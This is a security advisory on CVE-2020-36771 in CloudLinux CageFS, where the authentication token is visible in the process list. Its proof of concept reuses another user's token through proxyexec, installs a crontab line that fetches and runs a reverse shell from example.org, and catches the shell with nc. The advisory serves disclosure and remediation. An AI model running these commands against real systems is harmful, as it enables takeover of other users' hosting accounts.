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CloudLinux CageFS Token Disclosure

Link: https://github.com/sbaresearch/advisories/tree/public/2020/SBA-ADV-20200707-01_CloudLinux_CageFS_Token_Disclosure

Vulnerability Overview

CloudLinux CageFS 7.1.1-1 or below passes the authentication token as a
command line argument. In some configurations this allows local users to
view the authentication token via the process list and gain code execution
as another user.

• Identifier : SBA-ADV-20200707-01
• Type of Vulnerability : Invocation of Process Using Visible Sensitive Information
• Software/Product Name : CloudLinux CageFS
• Vendor : CloudLinux Inc.
• Affected Versions : <= 7.1.1-1
• Fixed in Version : 7.1.2-2
• CVE ID : CVE-2020-36771
• CVSS Vector : CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• CVSS Base Score : 7.8 (High)

Vendor Description

CloudLinux OS is the leading platform for multitenancy. It improves
server stability, density, and security by isolating each tenant and
giving them allocated server resources. This creates an environment
that feels more like a virtual server than a shared hosting account.
By doing so, CloudLinux OS reduces operating costs and churn rates,
and increases profitability.

Source: https://www.cloudlinux.com/

Impact

If the lve_namespaces service or the virtualized proc filesystem
feature is disabled, a local user can obtain the CageFS authentication
token of other users by exploiting the vulnerability documented in this
advisory. In most configurations this allows attackers to gain code
execution as those users.

Vulnerability Description

CloudLinux offers a feature called proxy commands in CageFS environments.
It allows limited execution of commands outside the CageFS environment from
a user restricted within the CageFS envinronment.

For this purpose a CageFS daemon runs outside of the CageFS environment,
it is accessible via a UNIX socket from within the CageFS environment.
The UNIX socket is handled by proxyexec. To make the whole process of
calling a tool outside of the CageFS transparent to the user, wrapper
scripts are placed within CageFS, which in turn call proxyexec for
execution of the commands outside of the CageFS environment.

Those wrapper scripts read the CageFS token from /var/.cagefs/.cagefs.token
and pass it to the proxyexec command as a command line argument.

CloudLinux by default enables the virtualized proc filesystem, which
prevents other users from seeing the CageFS token within the process
list. However, if the lve_namespaces service is disabled, e.g. the
systemd unit is masked out, or the virtualized proc filesystem is
explicitly disabled, other users can see the CageFS token within the
process list. They can use the CageFS token of other users to talk to
the CageFS daemon via proxyexec and the CageFS daemon executes the
commands with the privileges of the supplied authentication token.

Proof of Concept

Let’s assume, the lve_namespaces service is disabled and we are user
ftp2406151:

$ id  
uid=935(ftp2406151) gid=935(site2406151) groups=935(site2406151)  

We list the process list and find another user executing ping example.org:

$ ps aux | grep proxyexec  
 2094 root      0:00 /usr/sbin/proxyexec -q -d -s /var/lib/proxyexec/cagefs.sock/socket /bin/cagefs.server  
1180646 934       0:00 /usr/sbin/proxyexec -c cagefs.sock ftp1488781 EjlVbSK63ye6dtHs / PING 1180642 example.org  
1180647 root      0:00 /usr/sbin/proxyexec -q -d -s /var/lib/proxyexec/cagefs.sock/socket /bin/cagefs.server  
1181229 ftp24061  0:00 grep proxyexec  

We now can execute commands as user ftp1488781 and, for example, view
the crontab:

$ /usr/sbin/proxyexec -c cagefs.sock ftp1488781 EjlVbSK63ye6dtHs / CRONTAB_LIST 0  
no crontab for ftp1488781  

Now we setup a new crontab entry, which downloads a reverse shell and
executes it every minute:

$ echo '* * * * * wget -q -O rshell https://www.example.org/rshell && chmod +x rshell && nohup ./rshell &' | /usr/sbin/proxyexec -c cagefs.sock ftp1488781 EjlVbSK63ye6dtHs / CRONTAB_SAVE 0  

$ /usr/sbin/proxyexec -c cagefs.sock ftp1488781 EjlVbSK63ye6dtHs / CRONTAB_LIST 0  
* * * * * wget -q -O rshell https://www.example.org/rshell && chmod +x rshell && nohup ./rshell &  

Our shell connects back to us and we can execute arbitrary commands as
the other user:

$ nc -l -p 1234  
id  
uid=934(ftp1488781) gid=934(site1488781) groups=934(site1488781)  

Recommended Countermeasures

We recommend to avoid passing sensitive information as a command line
argument. Instead, proxyexec should directly read the CageFS token
from the file /var/.cagefs/.cagefs.token and pass it to the CageFS
daemon via the UNIX socket.

Timeline

• 2020-07-07: identification of vulnerability in version 7.0.6-1
• 2020-07-10: initial vendor contact
• 2020-07-13: initial vendor response
• 2020-07-13: disclosed vulnerability to vendor security contact
• 2020-09-02: vendor released version 7.1.2-2 to testing
• 2020-09-28: vendor released version 7.1.2-2 to production
• 2020-10-02: request CVE from MITRE
• 2022-01-04: MITRE declined request as it falls in the scope of Red Hat
• 2024-01-19: request CVE from Red Hat
• 2024-01-22: Red Hat assigned CVE-2020-36771
• 2024-01-25: public disclosure

References

• CloudLinux OS Documentation. Virtualized /proc filesystem: https://docs.cloudlinux.com/shared/cloudlinux_os_kernel/#virtualized-proc-filesystem
• CageFS 7.1.2-2 beta: https://blog.cloudlinux.com/beta-cagefs-lve-wrappers-and-bsock-updated
• CageFS 7.1.2-2 production: https://blog.cloudlinux.com/cagefs-lve-wrappers-and-bsock-have-been-rolled-out-to-100

Credits

• David Lisa Gnedt (SBA Research)
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